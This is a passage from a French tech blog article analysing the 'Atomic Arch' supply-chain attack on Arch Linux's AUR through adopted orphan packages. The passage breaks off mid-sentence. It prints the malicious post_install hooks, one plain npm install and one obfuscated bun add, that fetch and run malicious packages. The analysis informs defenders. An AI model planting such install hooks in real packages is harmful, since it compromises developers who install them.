Atomic Arch : Synthèse technique sur cette compromission d'Arch User Repository - Logiciels Libres - News

Visiteurs :<br>12212610

Aujourd'hui :<br>5980

Adrien.D

15/06/2026

Logiciels Libres

| 4 Commentaires<br>| 790

Je voulais prendre le temps de vous parler d'une attaque qui fait beaucoup parler en ce moment : la campagne baptisée Atomic Arch, qui cible depuis le 11 juin le dépôt communautaire d'Arch Linux, l'AUR. Nommée ainsi, c'est..." />

Bonjour à tous,

Je voulais prendre le temps de vous parler d'une attaque qui fait beaucoup parler en ce moment : la campagne baptisée Atomic Arch , qui cible depuis le 11 juin le dépôt communautaire d'Arch Linux, l'AUR. Nommée ainsi, c'est l'un des incidents supply chain les plus larges jamais enregistrés sur ce dépôt, avec plus de 1900 paquets compromis au moment où j'écris cet article et le nombre continue d'augmenter.

Je suis tombé sur la source en anglaise CyberSecGuru, qui m'a été donné dans mon Tweet où je publiais la vidéo pour informer de cette compromission. Elle contient plein d'infos techniques, et je vais vous en faire un résumé, dans le même esprit que l'analyse de CopyFail qui vous avait bien plu.

J'ai voulu répondre à de nombreux messages sur le Discord, aux commentaires de la vidéo de Vendredi, et cet article sert de base à une vidéo.

Je vous mets toutes mes sources en bas de l'article.

Anatomie de l'attaque : comprendre l'AUR et ses paquets orphelins

Arch Linux dispose de dépôts officiels, maintenus par son équipe, avec des paquets signés et contrôlés. Mais ces dépôts ne contiennent pas tout. Pour le reste, versions git, logiciels en beta ou de niche, il y a l'AUR (Arch User Repository) : un dépôt communautaire ouvert à n'importe quel utilisateur, hébergeant plus de 100 000 paquets.

Un paquet AUR ne distribue généralement pas de binaire précompilé. Il distribue un fichier texte : le PKGBUILD . C'est la recette de construction qui permer de télécharger les sources, indique comment les compiler, quelles commandes exécuter à l'installation. Des outils comme yay ou paru automatisent tout ça pour l'utilisateur, ou "PaMac" qui est dans Manjaro.

Ce système a un point faible structurel : les paquets orphelins . Quand un mainteneur abandonne son paquet, celui-ci reste disponible avec sa réputation intacte, ses années d'historique. Et n'importe quel compte AUR peut l'adopter et en devenir le nouveau mainteneur, sans délai de validation, sans vérification, sans audit . Le nouveau mainteneur hérite instantanément de la confiance accumulée. C'est exactement cette mécanique qu'Atomic Arch a exploitée.

La chaîne d'infection : comment un PKGBUILD devient une backdoor

L'attaquant, opérant sous le compte arojas (et d'autres pseudos créés) a automatisé la découverte et l'adoption de paquets orphelins. C'est déjà un truc qui est fait chez Arch pour repérer des paquets sans mainteneur et continuer de les mettres à jour.

Mais là, c'est une opération multi-comptes coordonnée à but malveillant.

Une fois un paquet adopté, la modification dans le PKGBUILD est minime et discrète. Deux changements suffisent :

- ajouter npm dans la liste des dépendances du paquet.

- dans le script .install, ajouter un hook post_install() qui exécute : npm install atomic-lockfile

Voici le bout de code :

Code BASH :post_install() {{<br>cd /tmp<br>npm install atomic-lockfile axios cosmiconfig uuid<br>}}

Quand l'utilisateur installe ou met à jour le paquet via yay ou paru, voici ce qui se passe lorsque le PKGBUILD est joué :

1 : npm est récupéré comme dépendance.

2 : Le hook post_install se déclenche et lance npm install atomic-lockfile.

3 : npm récupère le paquet atomic-lockfile depuis le registre npm officiel.

4 : Ce paquet contient dans son package.json un script preinstall : "preinstall": "./src/hooks/deps"

5 : npm exécute automatiquement ce script, ce qui lance le binaire malveillant.

Le paquet AUR lui-même semble propre à première vue. La modification est dans les instructions de build, pas dans le logiciel.

Une deuxième vague, plus obfusquée

Le 12 juin, une deuxième vague émerge : bun remplace npm, et le paquet malveillant s'appelle js-digest . Même payload, mécanisme différent pour contourner les premières détections.

Plus inquiétant : cette deuxième vague est délibérément obfusquée. Les commandes sont décomposées avec du découpage de chaînes shell, des guillemets mixtes et des séquences hexadécimales. Un exemple réel vu dans un paquet compromis :

Code BASH :post_install() {<br>$'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i"...

Une fois "reconverti", ça donne simplement cd /tmp && bun add nextfile-js . Trois lignes dans un fichier .install. Invisible à un regard rapide, même pour un œil averti, mais qui peut questionner !

Le payload : un binaire Rust taillé pour les postes de développement

Le binaire qui s'exécute s'appelle deps . Il a été écrit spécifiquement pour des postes de développement, pas pour des machines lambda. A peine 3Mo et livré déjà compilé en...